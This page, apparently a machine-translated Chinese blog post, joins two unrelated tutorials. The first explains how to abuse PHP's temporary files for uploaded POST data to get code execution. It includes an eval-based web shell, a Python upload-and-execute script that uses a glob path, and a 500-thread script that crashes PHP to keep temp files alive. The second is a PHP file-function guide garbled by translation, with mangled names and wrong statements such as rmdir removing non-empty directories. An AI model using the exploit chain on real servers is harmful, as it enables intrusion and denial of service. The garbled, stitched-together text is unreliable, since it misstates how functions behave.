php 文件名-战斗机如何使用PHP的POST临时文件机制上传任意文件?

2023-08-21 0 8,982 百度已收录

学习与交流:

phpstorm2023版正式版激活码,支持版本升级
https://web.52shizhan.cn/activity/xqt8ly

向 PHP 发送一个 Post 数据包,如果数据包包含文件,PHP 会将该文件保存为临时文件,而不管 PHP 代码是否有处理文件上传的逻辑

当文件包含

漏洞,找不到可以使用的文件,可以使用此方法查找临时文件名,然后包含它!

如何获取临时文件名

1、$_FILES

php 文件名-战斗机如何使用PHP的POST临时文件机制上传任意文件?

文件信息可以通过 $_FILES 获得

Array
(
    [name] => run.sh
    [full_path] => run.sh
    [type] => 
    [tmp_name] => /tmp/phpoFnbQf
    [error] => 0
    [size] => 10
)

2、phpinfo

phpinfo 页面

将复制当前请求上下文中的所有变量,如果我们直接将包含该文件的 post 请求发送到 phpinfo 页面php 文件名,我们可以在返回包中找到 $_FILES 变量的内容,从而收到一个临时文件名

php 文件名-战斗机如何使用PHP的POST临时文件机制上传任意文件?

3、球体

如果以上都不起作用,在 Linux 中,您也可以通过 glob 键找到文件

glob 使用简单:

如何使用该文件

1. 组合诉状

php 文件名-战斗机如何使用PHP的POST临时文件机制上传任意文件?

虽然文件是

请求结束后手动删除,我们可以将执行 shell 和上传文件合并在一个请求中,PHP 代码如下: (这个 PHP 可以直接执行 shell,但这个例子只是为了展示如何使用临时文件)。

# a.php

<?php
  $code = $_GET['code'];
  eval($code);
?>

借助 Python 脚本

# run.sh 文件内容:
# echo $PATH

import requests

# 上传文件同时,执行 shell
url = "http://localhost:8080/a.php?code=echo `. /???/php??????`;"

r = requests.post(url, files={'file': open('./run.sh')})

print(r.text)

# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

2. 扩展临时文件的存在

php 文件名-战斗机如何使用PHP的POST临时文件机制上传任意文件?

在某些情况下,很难将上传文件和执行 shell 结合起来,通过在其他地方使用它来使文件持续更长时间!

你可以通过文件包含让 PHP 包含自身并造成无限循环,之后 PHP 守护进程会因为内存溢出而崩溃,而 PHP 本身也不会因为错误直接退出,它会清空自己的内存栈,便于从错误中恢复,保证了 Web 服务的正常运行。

同时,这个过程也会中断 PHP 对临时文件的处理,虽然最终还是会被删除,但可以明显看出临时文件在 C 盘中存在的时间比以前更长!

基于此,我们可以编译并发脚本以不断发起请求以发布文件

import requests
from threading import Thread

def test():
    url = "http://localhost:8080/include.php?file=include.php"
    r = requests.post(url, files={'file': open('./run.sh')})
    print(r.text)

lst = []
for _ in range(500):
    t = Thread(target=test)
    lst.append(t)
    t.start()

for item in lst:
    item.join()

可以看出,当我们在诉求时,C盘中总有临时文件没有被删除。直到请求停止,文件全部被删除

同时,可以使用上述 glob 路径值泛型将临时文件加载到其他地方

import requests

url = "http://localhost:8080/a.php?code=echo `. /???/php??????`;"

r = requests.get(url)

print(r.text)

# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

参考链接:

这就是这一分钟的全部内容,我希望你们程序员能够努力提高你的个人技能。最后,小编温馨提示:每晚读5分钟php 文件名,每晚学一点,每晚进步一点。

欢迎技术交流的同仁加盟

PHP自学交流中心QQ群:153404408

------------------------------

以下文本:

PHP 文件夹操作函数字符串

库名称(字符串路径[,字符串后缀])

给定一个包含文件完整路径的字符串,此函数返回基文件名。如果文件名以后缀结尾,则此部分也将被删除。

在 Windows 中,斜杠 (/) 和反斜杠 () 都可以用作目录分隔符。在其他上下文中,它是一个斜杠 (/)。

Stringdirname(stringpath)

给定一个包含文件完整路径的字符串,此函数返回目录名称减去文件名。

在 Windows 中,斜杠 (/) 和反斜杠 () 都可以用作目录分隔符。在其他上下文中,它是一个斜杠 (/)。

arraypathinfo(stringpath[,intoptions])

pathinfo() 返回一个包含路径信息的联合字段。包括以下链表单元:目录名称、基名称和扩展名。

您可以通过选项参数指定要返回的单元格。它们包括:PATHINFO_DIRNAME、PATHINFO_BASENAME和PATHINFO_EXTENSION。默认值是返回所有单位。

StringRealpath(stringpath)

realpath() 扩展了所有符号连接,并在输入路径 /' 和额外的 '/' 中处理 '/./','/.' 和额外的 '/' 并返回规范化的绝对路径名。返回的路径中没有符号连接,“/./”或“/.”。/'成分。

Realpath() 如果失败,例如,如果文件不存在,则返回 FALSE。在 BSD 系统上,如果 path 不存在,PHP 不会像其他系统那样返回 FALSE。

boolis_dir(字符串文件名)

如果文件名存在且为目录,则返回 TRUE。如果文件名是相对路径,则会针对当前工作目录检测其相对路径。

注意:将缓存此函数的结果。有关更多信息,请参阅 clearstatcache()。

resourceopendir(stringpath[,resourcecontext])

打开一个目录句柄,该句柄可以在将来的 closedir()、readdir() 和 rewinddir() 调用中使用。

Stringreaddir(resourcedir_handle)

返回文件

目录中下一个文件的名称。文件名在文件系统中按顺序返回。

虚空闭合IR(resourcedir_handle)

关闭dir_handle指定的目录流。该流必须以前由 opendir() 打开。

虚空倒带(resourcedir_handle)

将dir_handle指定的目录流重置为目录的开头。

arrayglob(stringpattern[,intflags])

glob() 函数根据 libcglob() 函数使用的规则查找与模式匹配的所有文件路径,类似于普通 shell 使用的规则。没有速记增强或参数替换。

返回包含匹配文件/目录的链接列表。如果发生错误,则返回 FALSE。

有效标签包括:

GLOB_MARK - 为每个返回的项目添加一个斜杠

GLOB_NOSORT - 根据文件在目录中出现的原始顺序返回(未排序)

GLOB_NOCHECK - 如果没有匹配的文件,则返回用于搜索的模式

GLOB_NOESCAPE - 反斜杠不使用通配符元字符

GLOB_BRACE - 扩展 {a,b,c

} 匹配“a”、“b”或“c”

GLOB_ONLYDIR - 仅返回与模式匹配的目录项

注意:在PHP版本4.3.3之前GLOB_ONLYDIR它在Windows或其他不使用GNUC库的系统上不可用。

GLOB_ERR - 停止并读取错误消息(例如不可读的目录),默认情况下忽略所有错误

注意:GLOB_ERR是在 PHP 5.1 中添加的。

PHP 文件目录操作

创建新文件

1. 首先确定要写入文件的内容

$content=“你好”;

2. 打开此文件

(系统将手动构建此空文件)。

假设新文件称为 file.txt 并且位于父目录中。 w 表示“写入文件”,$fp下面使用,它表示指向一个打开的文件。

$fp=fopen('.. /file.txt','w');

3. 将内容字符串写入文件

$fp告诉系统写入文件,要写入的内容$content

fwrite($fp,$content);

4. 关闭文件

关闭($fp);

注意:PHP5 提供了更方便的函数file_put_contentsphp 文件名,4 个步骤可以这样完成:

$content=“你好”;

file_put_contents(“文件.txt”,$content);

删除文件

删除当前目录下 arch 目录中的文件 abc .txt

unlink('arch/abc.txt');

注意:系统会返回操作结果,成功会返回TRUE,失败会返回FALSE,可以使用变量接收,知道是否删除成功:

$deleteResult=unlink('arch/abc.txt');

获取文件内容

假设获取的目标文件名为 file.txt 并且位于父目录中。获取的内容将加载到$content中。

$content=file_get_contents('.. /file.txt');

更改文件内容

操作与创建新内容基本相同

重命名文件或目录

将当前目录中子目录 A 下的文件 1 .gif重命名为 2.gif。

rename('/a/1.gif','/a/2.gif');

说明:这同样适用于目录。系统会返回操作结果,成功会返回 TRUE,失败会返回 FALSE,可以使用变量来接收,就知道重命名是否成功。

$renameResult=rename('/a/1.gif','/a/2.gif');

如果要连接文件或目录,只需将重命名的路径设置为新路径:

连接当前目录中子目录 A 下的文件 1

A 到当前目录 B 中的子目录 B .gif,但将其重命名为 2.gif。

rename('/a/1.gif','/b/2.gif');

但是,应该注意的是php 文件名,如果目录 b 不存在,则连接将失败。

复制文件

将当前目录中子目录 A 下的文件 1 复制到.gif

当前目录中的子目录 B,并将其命名为 2.gif。

copy('/a/1.gif','/b/1.gif');

说明:无法对目录执行此操作。

如果目标文件(前面的 /b/1.gif)已存在,则将覆盖原始文件。

系统返回操作结果,如果成功则返回 TRUE,如果失败则返回 FALSE,并且可以与变量一起接收以了解复制是否成功。

$copyResult=copy('/a/1.gif','/b/1.gif');

连接文件或目录

它的工作方式与重命名相同

文件或目录是否存在

检测父目录中是否存在文件徽标.jpg。

$existResult=file_exists('.. /logo.jpg');

注意:如果文件存在,系统将返回 true,否则返回 false。您可以对目录执行相同的操作。

获取文件大小

获取父目录中的文件徽标.png的大小。

$size=文件大小('.. /logo.png');

注意:系统返回一个数字,指示文件大小的字节数。

创建新目录在

当前目录中的目录 A 下创建新目录 B。

mkdir('/a/b');

注意:系统会返回操作结果,成功会返回TRUE,失败会返回FALSE,可以使用变量接收,知道新的成功是否成功:

$mkResult=mkdir('/a/b');

删除目录

删除当前目录中目录 A 下的子目录 b。

rmdir('/a/b');

注意:只能删除非空目录,否则必须先删除该目录下的子目录和文件,然后再删除常规目录

系统会返回操作的结果,成功则返回 TRUE,失败则返回 FALSE,可以用变量接收,就知道删除是否成功:

$deleteResult=rmdir('/a/b');

获取目录中的所有文件名

1. 首先打开要操作的目录,用变量指向它

打开当前目录 pic 子目录 common 下的目录。

$handler=opendir('pic/common');

2. 遍历目录中的所有文件

/* 其中 $filename=readdir($handler) 是参数化读取文件名以$filename每个循环,以免陷入无限循环,所以让 $filename!==false。一定要使用 !==,因为如果文件名被称为“0”,或者如果它单独被认为表示 false,使用 != 将停止循环 */

while(($filename=readdir($handler))!==false){

3. 目录中将有两个文件,分别名为“.”和“.”。不要对他们这样做

if($filename!=“.” &&$filename!=“..”){

4. 处理

这是输出文件名的简单回显

回显$文件名;

5. 关闭目录

封闭式($handler);

对象是否为目录

检测父目录中的目标对象徽标.jpg是否为目录。

$checkResult=is_dir('.. /logo.jpg');

注意:如果目标对象是目录系统,则系统返回 true,否则返回 false。反例的$checkResult实际上是错误的。

对象是否为文件

检测父目录中的目标对象徽标.jpg是否为文件。

$checkResult=is_file('.. /logo.jpg');

注意:如果目标对象是文件,则系统返回 true,否则返回 false。反例的$checkResult实际上是正确的。小

编又推出陌陌公众号“求职笔试助手”,为您提供笔试方法、笔试常见问题、笔试心得体会等,与大家分享,小伙伴可长按识别二维码关注

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信/支付宝扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

悟空资源网 php php 文件名-战斗机如何使用PHP的POST临时文件机制上传任意文件? https://www.wkzy.net/game/135226.html

常见问题

相关文章

官方客服团队

为您解决烦忧 - 24小时在线 专业服务